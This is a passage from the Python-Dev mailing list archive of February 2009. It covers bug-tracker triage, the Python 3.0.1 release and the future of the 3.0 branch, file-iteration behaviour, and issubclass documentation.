> On Thu, Feb 12, 2009 at 16:45, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
>> I have to test my patch against a good
>> representation of the issue, regression tests must pass, 'automated
>> test needed' fits well :)
>
> Go with "Unit test needed" so it's short and to the point and you have a deal. =)

I don't think a real name change is necessary, the help from clicking
on 'Stage' says it.
Your explanation at https://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw
makes it crystal  clear.

Also, I've realized just now that 'Status: pending' covers both my
'will close unless someone objects' and 'cannot tell if this ancient
bug on a antediluvian platform still exists' rather well. So I'll be
setting such issues as pending from now on.

I'll try to find a way to display the help tips inline, perhaps on
selection or hover (has to be unobtrusive). That would be helpful for
stages, components and versions (I think users should know that 2.5 is
in security-fix-only mode and that feature requests need latest
version + 1).

Status report and roadmap to be posted later today, before date +%s
turns 1234567890 :)

Daniel

From ajaksu at gmail.com  Fri Feb 13 20:54:53 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Fri, 13 Feb 2009 17:54:53 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <4994FEBF.3040700@holdenweb.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
	<87zlgrrxr3.fsf@xemacs.org>
	<2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com>
	<bbaeab100902121659v2c7e0880k21f8dcb7e2561bdf@mail.gmail.com>
	<4994FEBF.3040700@holdenweb.com>
Message-ID: <2d75d7660902131154r17286417n4e01dc26c416ccb@mail.gmail.com>

Steve Holden wrote:
> Can I just say (without in any way wanting to get involved in what might
> be considered as "work") that it's encouraging the tracker received a
> bit more TLC we might eventually be able to see at least the occasional
> week where the issue count increment was negative :)

That would be cool. It's also a shiny goal that can be used on a
call-for-help later on the cleanup road.

> So thanks to everyone who's taking the time to deal with this
> low-profile not-very-glamorous issue. I, for one, appreciate it.

For my part, glad to help. And thanks to all developers, issue
reporters and cleanup supporters that are making this work :)

tlc'ing-got-me-punched-in-the-face-before-so-this-one-is-a-breeze-ly y'rs
Daniel

From python at rcn.com  Fri Feb 13 22:12:26 2009
From: python at rcn.com (Raymond Hettinger)
Date: Fri, 13 Feb 2009 13:12:26 -0800
Subject: [Python-Dev] Wow!
Message-ID: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>

http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story

From kirklin.mcdonald at gmail.com  Fri Feb 13 22:38:33 2009
From: kirklin.mcdonald at gmail.com (Kirk McDonald)
Date: Fri, 13 Feb 2009 13:38:33 -0800
Subject: [Python-Dev] Wow!
In-Reply-To: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
References: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
Message-ID: <25bd58d10902131338g124154efie14c17e3f4ffc5e3@mail.gmail.com>

http://en.wikipedia.org/wiki/Kessler_Syndrome

On Fri, Feb 13, 2009 at 1:12 PM, Raymond Hettinger <python at rcn.com> wrote:

>
> http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/kirklin.mcdonald%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090213/2b8a9a71/attachment.htm>

From MLMLists at Comcast.net  Fri Feb 13 23:51:00 2009
From: MLMLists at Comcast.net (Mitchell L Model)
Date: Fri, 13 Feb 2009 17:51:00 -0500
Subject: [Python-Dev] lifting of prohibition against readlines inside a "for
 line in file" in Py3?
Message-ID: <p06240811c5bba2f0316b@[10.0.1.221]>

I discovered today that Python 2's prohibition against performing 
readlines on a file being iterated over appears to have been lifted 
in Python 3. Is this intentional? If it is, should it be added to the 
What's New in the documentation? I haven't been able to find anything 
mentioning the change.

	with open("lines.txt") as fil:
	    for line in fil:
	        print(line[:-1])
	        print(fil.readline())

produces a runtime error in 2.5 and 2.6 but not in 3.0 or 3.1 (and 
the output is as expected).

Also, I was surprised that nested "for line in file" that use the 
same file cause no problems in Python 2.5, 2.6, 3.0, or 3.1.

	with open("lines.txt") as fil:
	    for line1 in fil:
	        print(line1)
	        if line1[0] == '1':
	            for line2 in fil:
	                print(line2[:-1])
	                if line2[0] == '2':
	                    break
I would have expected the "for line in file" iterator to get confused 
by the file position having been moved out from under it, but I 
suppose all it has to do is just more readlines from wherever the 
file pointer is when it regains control. I mention this because apart 
from implementation considerations any reasoning that would 
discourage one from mixing line iterations with readlines might leave 
one thinking that nested line iterations wouldn't work either. But if 
it is intended that Python 3 allow mixing readlines with line 
iterations, there would be much less reason to suspect nested line 
iterations.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090213/a6ca59f1/attachment-0001.htm>

From martin at v.loewis.de  Sat Feb 14 00:28:07 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Sat, 14 Feb 2009 00:28:07 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	
	<200902120954.53578.victor.stinner@haypocalc.com>	
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>	
	<200902121434.17723.victor.stinner@haypocalc.com>	
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>	
	<49946F61.6020803@v.loewis.de>	
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>	
	<499509FA.5030607@v.loewis.de>
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
Message-ID: <49960207.3070507@v.loewis.de>

> For starters, free form searches, aggregation and filtering of
> results.

What is "free form searches" (example)? What is aggregation?
What results do you want to filter? (roundup can already filter
results quite well)

> The web interface is pretty good for handling individual
> issues, but not so good for adding someone as nosy to lots of issues.

Please consider contributing a mass-update template then, perhaps
based on search results, with check boxes to include or exclude
individual issues from the mass update.

Regards,
Martin

From martin at v.loewis.de  Sat Feb 14 00:31:32 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Sat, 14 Feb 2009 00:31:32 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902122234g46acc245l5dd7e0052ccd2c2e@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	
	<200902120954.53578.victor.stinner@haypocalc.com>	
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>	
	<200902121434.17723.victor.stinner@haypocalc.com>	
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>	
	<49946F61.6020803@v.loewis.de>	
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>	
	<499509FA.5030607@v.loewis.de>	
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
	<2d75d7660902122234g46acc245l5dd7e0052ccd2c2e@mail.gmail.com>
Message-ID: <499602D4.8020104@v.loewis.de>

>  Send emails before they were done :D

Again: what's that?

>  Use a VCS for in-progress activities

Hmm. Why do you need a database copy for that?

>  Figure out how to serialize and submit the work done locally

Again, don't understand. too brief.

>  Share results with interested parties off-tracker (e.g., the
> auto-nosy mentioned up-thread)

The tracker already has auto-assignments based on components.

> Right now, more efficient searching and aggregation along with some
> (local, flexible) UI tweaks sum it up.

Efficient in what way?

> Maybe I can offer a patch for something like PyPI's 'simple' interface?

Please, no. Contribute the interface you want locally instead as a
feature for all users of the tracker.

Regards,
Martin

From martin at v.loewis.de  Sat Feb 14 01:35:50 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 01:35:50 +0100
Subject: [Python-Dev] Adding T_SIZET to structmember.h
In-Reply-To: <e7ba66e40902130744s4a14c9a0n5dfed4b5905775d5@mail.gmail.com>
References: <e7ba66e40902121242x2180b51drcb7de29b00a5548a@mail.gmail.com>	<5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com>
	<e7ba66e40902130744s4a14c9a0n5dfed4b5905775d5@mail.gmail.com>
Message-ID: <499611E6.1020104@v.loewis.de>

> Mark, the patch is not trivial, I cannot spend time on this until this
> is accepted. Hope you understand.

I certainly do understand. So it's likely not going to happen.

Regards,
Martin

From greg.ewing at canterbury.ac.nz  Sat Feb 14 02:27:29 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 14 Feb 2009 14:27:29 +1300
Subject: [Python-Dev] Small misleadingness in  docs
Message-ID: <49961E01.7000109@canterbury.ac.nz>

I've discovered something slightly misleading in the docs
for PyObject_IsInstance:

   When testing if B is a subclass of A, if A is B, PyObject_IsSubclass
   returns true. If A and B are different objects, B?s __bases__
   attribute is searched...

This suggests that issubclass(A, A) will always be true,
regardless of what attributes A has. However, this turns
out not to be so -- A must also have a __bases__ attribute,
otherwise it's rejected as not being sufficiently class-like.

-- 
Greg


From python at rcn.com  Sat Feb 14 02:40:19 2009
From: python at rcn.com (Raymond Hettinger)
Date: Fri, 13 Feb 2009 17:40:19 -0800
Subject: [Python-Dev] Small misleadingness in  docs
References: <49961E01.7000109@canterbury.ac.nz>
Message-ID: <EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>


[Greg Ewing]
> I've discovered something slightly misleading in the docs
> for PyObject_IsInstance:
>
>   When testing if B is a subclass of A, if A is B, PyObject_IsSubclass
>   returns true. If A and B are different objects, B?s __bases__
>   attribute is searched...
>
> This suggests that issubclass(A, A) will always be true,
> regardless of what attributes A has. However, this turns
> out not to be so -- A must also have a __bases__ attribute,
> otherwise it's rejected as not being sufficiently class-like.

This smells like a bug that brings issubclass() out of sync with isinstance().
Perhaps issubclass() should do what the docs say and start by
testing whether A and B are the same object.


Raymond 


From brett at python.org  Sat Feb 14 02:45:43 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 13 Feb 2009 17:45:43 -0800
Subject: [Python-Dev] Wow!
In-Reply-To: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
References: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
Message-ID: <bbaeab100902131745r79c88f74n355ca41836fc7ab9@mail.gmail.com>

Is there a Python connection I'm missing?

On Fri, Feb 13, 2009 at 13:12, Raymond Hettinger <python at rcn.com> wrote:

>
> http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090213/2a96da26/attachment.htm>

From greg.ewing at canterbury.ac.nz  Sat Feb 14 03:07:25 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 14 Feb 2009 15:07:25 +1300
Subject: [Python-Dev] Small misleadingness in  docs
In-Reply-To: <EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>
References: <49961E01.7000109@canterbury.ac.nz>
	<EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>
Message-ID: <4996275D.1070607@canterbury.ac.nz>

Raymond Hettinger wrote:

> This smells like a bug that brings issubclass() out of sync with 
> isinstance().

No, it affects both isinstance() and issubclass().
They both raise a TypeError if the purported class
object doesn't have a __bases__ attribute that is
a tuple.

This isn't necessarily wrong, but perhaps the docs
could be re-worded slightly to make this clearer.

Another thing is that this whole paragraph only
appears in the Python/C API reference, not in the
docs for the Python isinstance and issubclass
functions, where the docs imply that only genuine
class or type objects are accepted.

And nowhere does it mention that __bases__ must
be a tuple.

-- 
Greg

From greg.ewing at canterbury.ac.nz  Sat Feb 14 03:14:52 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 14 Feb 2009 15:14:52 +1300
Subject: [Python-Dev] Wow!
In-Reply-To: <bbaeab100902131745r79c88f74n355ca41836fc7ab9@mail.gmail.com>
References: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
	<bbaeab100902131745r79c88f74n355ca41836fc7ab9@mail.gmail.com>
Message-ID: <4996291C.5070905@canterbury.ac.nz>

Brett Cannon wrote:

> Is there a Python connection I'm missing?
> 
>     http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story

Well, the front page of python.org does say "NASA uses Python"...

Also it sounds like they could do with a really good
garbage collection algorithm just now.

-- 
Greg

From barry at python.org  Sat Feb 14 03:15:38 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 13 Feb 2009 21:15:38 -0500
Subject: [Python-Dev] RELEASED Python 3.0.1
Message-ID: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On behalf of the Python development team, I'm happy to announce the  
availability of Python 3.0.1, the first bug fix release of Python  
3.0.  Version 3.0.1 fixes dozens of bugs reported since the release of  
Python 3.0 on December 3rd, 2008.

Python 3.0 represents a major milestone in Python's history.  This new  
version of the language is incompatible with the 2.x line of releases,  
while remaining true to BDFL Guido van Rossum's vision.

For more information, links to documentation, and downloadable  
distributions, see the Python 3.0.1 release page:

     http://www.python.org/download/releases/3.0.1/

To report bugs in Python 3.0.1, please submit them to the issue  
tracker at:

     http://bugs.python.org/

Enjoy!
Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZYpSnEjvBPtnXfVAQLQwgP/WSHp12dJVpEYtEOL/X8ynCQACriij9AM
PgT6SacbMJLbsy84CTGA1lxF4NdEUQMY1IYz0do/aZ0+nBkSoy7SlkOVcncysLSC
hVyTVlWQBdh63yA8QUk1I5dMbKeNpbCqRRgvSHaBrVdVz9mDM/r/L+j9lhBW4Cam
2lHLjRdQaG0=
=vy0O
-----END PGP SIGNATURE-----

From benjamin at python.org  Sat Feb 14 03:35:34 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Fri, 13 Feb 2009 20:35:34 -0600
Subject: [Python-Dev] The fate of 3.0.*
Message-ID: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>

Are we going to keep developing the 3.0 maintenance branch in
expectation of releasing 3.0.2 sometime or will we just focus our
efforts on 3.1?

-- 
Regards,
Benjamin

From brett at python.org  Sat Feb 14 03:49:51 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 13 Feb 2009 18:49:51 -0800
Subject: [Python-Dev] The fate of 3.0.*
In-Reply-To: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
Message-ID: <bbaeab100902131849s199b01e7iff77ff52b8fa601e@mail.gmail.com>

On Fri, Feb 13, 2009 at 18:35, Benjamin Peterson <benjamin at python.org>wrote:

> Are we going to keep developing the 3.0 maintenance branch in
> expectation of releasing 3.0.2 sometime or will we just focus our
> efforts on 3.1?
>

I almost said "of course we are", but then I realized that 3.1 is going to
be very similar to 3.0.1 such that doing a final 3.0.x release probably is
not going to be worth it. Lord knows I sure don't want to have to port a bug
fix to *five* branches.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090213/aff725e4/attachment.htm>

From guido at python.org  Sat Feb 14 04:02:16 2009
From: guido at python.org (Guido van Rossum)
Date: Fri, 13 Feb 2009 19:02:16 -0800
Subject: [Python-Dev] The fate of 3.0.*
In-Reply-To: <bbaeab100902131849s199b01e7iff77ff52b8fa601e@mail.gmail.com>
References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
	<bbaeab100902131849s199b01e7iff77ff52b8fa601e@mail.gmail.com>
Message-ID: <ca471dc20902131902r4c332bf9i3301e926bc4cf291@mail.gmail.com>

On Fri, Feb 13, 2009 at 6:49 PM, Brett Cannon <brett at python.org> wrote:
> On Fri, Feb 13, 2009 at 18:35, Benjamin Peterson <benjamin at python.org>
> wrote:
>>
>> Are we going to keep developing the 3.0 maintenance branch in
>> expectation of releasing 3.0.2 sometime or will we just focus our
>> efforts on 3.1?
>
> I almost said "of course we are", but then I realized that 3.1 is going to
> be very similar to 3.0.1 such that doing a final 3.0.x release probably is
> not going to be worth it. Lord knows I sure don't want to have to port a bug
> fix to *five* branches.

Amen. I can see two scenarios where we might release 3.0.2: (a) if we
find a really severe error in 3.0.1 (or perhaps a security problem);
(b) if 3.1 ends up getting delayed severely.

In case (a) happens it's okay if the 3.0 branch is left alone until
the time we need to make that one patch. The probability of (b) is
low, so let's worry about that when it happens, and let's try not to
make it happen. :-)

Congratulations all with the release!

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From solipsis at pitrou.net  Sat Feb 14 04:55:45 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 14 Feb 2009 03:55:45 +0000 (UTC)
Subject: [Python-Dev] The fate of 3.0.*
References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
Message-ID: <loom.20090214T035434-886@post.gmane.org>

Benjamin Peterson <benjamin <at> python.org> writes:
> 
> Are we going to keep developing the 3.0 maintenance branch in
> expectation of releasing 3.0.2 sometime or will we just focus our
> efforts on 3.1?

Focusing on 3.1 should be ok.
So what are the expected efforts for 3.1?
- io-in-C 
- import-in-Python
- ... anything else?

Regards

Antoine.



From andrewm at object-craft.com.au  Sat Feb 14 05:39:31 2009
From: andrewm at object-craft.com.au (Andrew McNamara)
Date: Sat, 14 Feb 2009 15:39:31 +1100
Subject: [Python-Dev] The fate of 3.0.*
In-Reply-To: <loom.20090214T035434-886@post.gmane.org> 
References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
	<loom.20090214T035434-886@post.gmane.org>
Message-ID: <20090214043931.C7E4E59C08C@longblack.object-craft.com.au>

>So what are the expected efforts for 3.1?
>- io-in-C 
>- import-in-Python
>- ... anything else?

A fixed "email" module.

-- 
Andrew McNamara, Senior Developer, Object Craft
http://www.object-craft.com.au/

From benjamin.kaplan at case.edu  Sat Feb 14 05:46:12 2009
From: benjamin.kaplan at case.edu (Benjamin Kaplan)
Date: Fri, 13 Feb 2009 23:46:12 -0500
Subject: [Python-Dev] RELEASED Python 3.0.1
In-Reply-To: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
Message-ID: <ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>

On Fri, Feb 13, 2009 at 9:15 PM, Barry Warsaw <barry at python.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On behalf of the Python development team, I'm happy to announce the
> availability of Python 3.0.1, the first bug fix release of Python 3.0.
>  Version 3.0.1 fixes dozens of bugs reported since the release of Python 3.0
> on December 3rd, 2008.
>
> Python 3.0 represents a major milestone in Python's history.  This new
> version of the language is incompatible with the 2.x line of releases, while
> remaining true to BDFL Guido van Rossum's vision.
>
> For more information, links to documentation, and downloadable
> distributions, see the Python 3.0.1 release page:
>
>    http://www.python.org/download/releases/3.0.1/
>
> To report bugs in Python 3.0.1, please submit them to the issue tracker at:
>
>    http://bugs.python.org/
>
> Enjoy!
> Barry



Any chance of getting a Mac installer for this one?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090213/7ee9beb4/attachment-0001.htm>

From ajaksu at gmail.com  Sat Feb 14 06:45:34 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Sat, 14 Feb 2009 03:45:34 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <49960207.3070507@v.loewis.de>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
	<200902121434.17723.victor.stinner@haypocalc.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
	<499509FA.5030607@v.loewis.de>
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
	<49960207.3070507@v.loewis.de>
Message-ID: <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>

Hi Martin,
Sorry about being so brief, I got a lot of unexpected interruptions
and was rushing things.

"Martin v. L?wis" wrote:
>> For starters, free form searches, aggregation and filtering of
>> results.
>
> What is "free form searches" (example)? What is aggregation?
> What results do you want to filter? (roundup can already filter
> results quite well)

By free form searches I meant complex queries with more flexible criteria.

A real example: "find any issue that has words A and B in juxtaposed
in messages, containing words starting with 'url' [ but not ending
with 'lib' in title (, unless version >= 3)], where jjlee isn't nosy".
Or "issues with less than 5 replies, all from a single user". Lastly,
"issues where no Developer is nosy, with messages covering an interval
longer than a week".

These are useful a few times, but hard to predict and not so recurrent
searches, so free form makes more sense than adding support for each
combination.

By aggregation I meant performing a few disjunct searches and
combining them in a result set, eliminating duplication, to process as
a unit. Then, add issues A,B and C to that. Free form searches cover
this by allowing one to perform a query that gives the result set
directly, but combining previous searches sounds more pleasant.

And by filtering, I meant refining a set of search results and/or
searching over a restricted set of issues, on criteria that are
present in them. I.e., I'd like to search for segfault and be given a
choice box with the all nosy people in  the result set, and exclude or
only display issues  based choosing one of them.

All of the above seems trivial with a database-like interface. I have
pretty much emulated them with the current search, the handy CSV
results downloads, a text editor and a Python shell.

>> The web interface is pretty good for handling individual
>> issues, but not so good for adding someone as nosy to lots of issues.
>
> Please consider contributing a mass-update template then, perhaps
> based on search results, with check boxes to include or exclude
> individual issues from the mass update.

OK, I saw one of these at http://roundup.sf.net/ and will study and
adapt it. But it'll solve the 'commit changes' part of the equation,
not the 'select set of issues to change'.

>>  Send emails before they were done :D
>
> Again: what's that?

That's me trying to sound witty after sending the email before finishing it :)

>>  Use a VCS for in-progress activities
>
> Hmm. Why do you need a database copy for that?

I don't, the database if for selecting issues to edit. But I'd like to
be able to submit bulk changes, and a (local, D) VCS is how I imagine
storing these locally should be done. For rollbacks, merges and that
sort of thing, besides being able to save incomplete work to continue
later.

>>  Figure out how to serialize and submit the work done locally
>
> Again, don't understand. too brief.

The serialization idea comes from this: one would assemble a 'patch'
containing different changes to different issues. It's an extension of
the mass-update idea, but for non-uniform changes. The deserialization
would either happen through a mass-update interface or by running a
script to submit them one by one.

>>  Share results with interested parties off-tracker (e.g., the
>> auto-nosy mentioned up-thread)
>
> The tracker already has auto-assignments based on components.

But no way to share aggregated search results (I've sent some
off-list), 'follow' users (i.e., be added as nosy for issues where
user A is nosy), auto-add as nosy based on keywords, etc. Someday we
could have these nosy features hosted externally, e.g. as an AppEngine
app that subscribes to python-bugs and sends alerts to users matching
the message (by keyword, performed action, new stage, etc.).

>> Right now, more efficient searching and aggregation along with some
>> (local, flexible) UI tweaks sum it up.
>
> Efficient in what way?

Having those complex searches in a less convoluted workflow, allowing
more work to be done faster and in a less error prone way.

>> Maybe I can offer a patch for something like PyPI's 'simple' interface?
>
> Please, no. Contribute the interface you want locally instead as a
> feature for all users of the tracker.

OK, after some more cleaning up I'll work on the mass-update, my local
searches and report back.

Regards,
Daniel

From ajaksu at gmail.com  Sat Feb 14 06:50:29 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Sat, 14 Feb 2009 03:50:29 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902131136i702698d7h7cbda7d2bd6b6a79@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
	<87zlgrrxr3.fsf@xemacs.org>
	<2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com>
	<bbaeab100902121659v2c7e0880k21f8dcb7e2561bdf@mail.gmail.com>
	<2d75d7660902131136i702698d7h7cbda7d2bd6b6a79@mail.gmail.com>
Message-ID: <2d75d7660902132150i219fe640l99bb22106b4f54ea@mail.gmail.com>

Daniel (ajax) Diniz wrote:
> Status report and roadmap to be posted later today, before date +%s
> turns 1234567890 :)

Missed that and got almost no tracker work done. Postponed to Monday,
after some weekend cleaning.

Daniel

From g.brandl at gmx.net  Sat Feb 14 10:42:39 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Sat, 14 Feb 2009 10:42:39 +0100
Subject: [Python-Dev] Small misleadingness in  docs
In-Reply-To: <EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>
References: <49961E01.7000109@canterbury.ac.nz>
	<EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>
Message-ID: <gn6062$efi$1@ger.gmane.org>

Raymond Hettinger schrieb:
> [Greg Ewing]
>> I've discovered something slightly misleading in the docs
>> for PyObject_IsInstance:
>>
>>   When testing if B is a subclass of A, if A is B, PyObject_IsSubclass
>>   returns true. If A and B are different objects, B's __bases__
>>   attribute is searched...
>>
>> This suggests that issubclass(A, A) will always be true,
>> regardless of what attributes A has. However, this turns
>> out not to be so -- A must also have a __bases__ attribute,
>> otherwise it's rejected as not being sufficiently class-like.
> 
> This smells like a bug that brings issubclass() out of sync with isinstance().
> Perhaps issubclass() should do what the docs say and start by
> testing whether A and B are the same object.

Since I cannot imagine a scenario where you would want to have non-classes
as the arguments of issubclass(), making sure that both *are* classes
sounds like a good idea to prevent bugs.

Georg

-- 
Thus spake the Lord: Thou shalt indent with four spaces. No more, no less.
Four shall be the number of spaces thou shalt indent, and the number of thy
indenting shall be four. Eight shalt thou not indent, nor either indent thou
two, excepting that thou then proceed to four. Tabs are right out.


From martin at v.loewis.de  Sat Feb 14 09:55:47 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 09:55:47 +0100
Subject: [Python-Dev] RELEASED Python 3.0.1
In-Reply-To: <ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
Message-ID: <49968713.4080705@v.loewis.de>

> Any chance of getting a Mac installer for this one?

Chances are non-zero, yes.

Martin

From martin at v.loewis.de  Sat Feb 14 10:00:10 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 10:00:10 +0100
Subject: [Python-Dev] The fate of 3.0.*
In-Reply-To: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
Message-ID: <4996881A.1050509@v.loewis.de>

Benjamin Peterson wrote:
> Are we going to keep developing the 3.0 maintenance branch in
> expectation of releasing 3.0.2 sometime or will we just focus our
> efforts on 3.1?

Traditionally, we had one last bugfix release after then next feature
release. So I think we should release 3.0.2 right after 3.1 gets
releases, and then close the branch for bug fixes.

As a consequence, we should continue to backport bug fixes to the
3.0 maintenance branch.

Another issue is security releases. For regular releases, I'm still
proposing that we provide security fixes up to five (5) years after
the original release, which would be until 2014. We need to decide
whether to do that for 3.0 as well, and, if not, announce in the
final release that it is really final.

Regards,
Martin


From nad at acm.org  Sat Feb 14 12:22:22 2009
From: nad at acm.org (Ned Deily)
Date: Sat, 14 Feb 2009 03:22:22 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
Message-ID: <nad-34F90E.03222214022009@news.gmane.org>

Speaking of an OS X installer for 3.0.1, over the last few weeks I have 
been working on tidying up the OS X installer build process.  While the 
basic OS X build/installer process is good, some cruft has accumulated 
over the past years and a number of mostly minor issues arose due to the 
3.x split.  IMO, the most important issues were with IDLE and, thanks to 
Ronald, we did get the most important fixes for OS X IDLE checked-in in 
time for 3.0.1; they are also in py3k and will be going into trunk and 
26.  I have a few other fixes that apply just to the OSX build/installer 
parts which did not get submitted in time for the 3.0.1 cutoff but which 
are ready to go for 3.x and 2.x.  Basically they fix some version number 
updating and ensure that the installer image will be built reproducibly 
in a clean environment so there is no contamination of the installer 
images.  Currently, that's easy to do as happened with the first round 
of the OS X 2.6 installer (e.g. with a locally installed Tcl/Tk).  They 
also allow images to build for various OS X version.  More on that below.

I would like to get to the point where the OS X images can be generated 
and tested automatically.  I think that is reasonable and achievable.  
It's not quite there yet but I can now semi-automatically produce images 
for 2.6, 2.7 (trunk), 3.0, and 3.1 (py3k) in both the traditional "fat" 
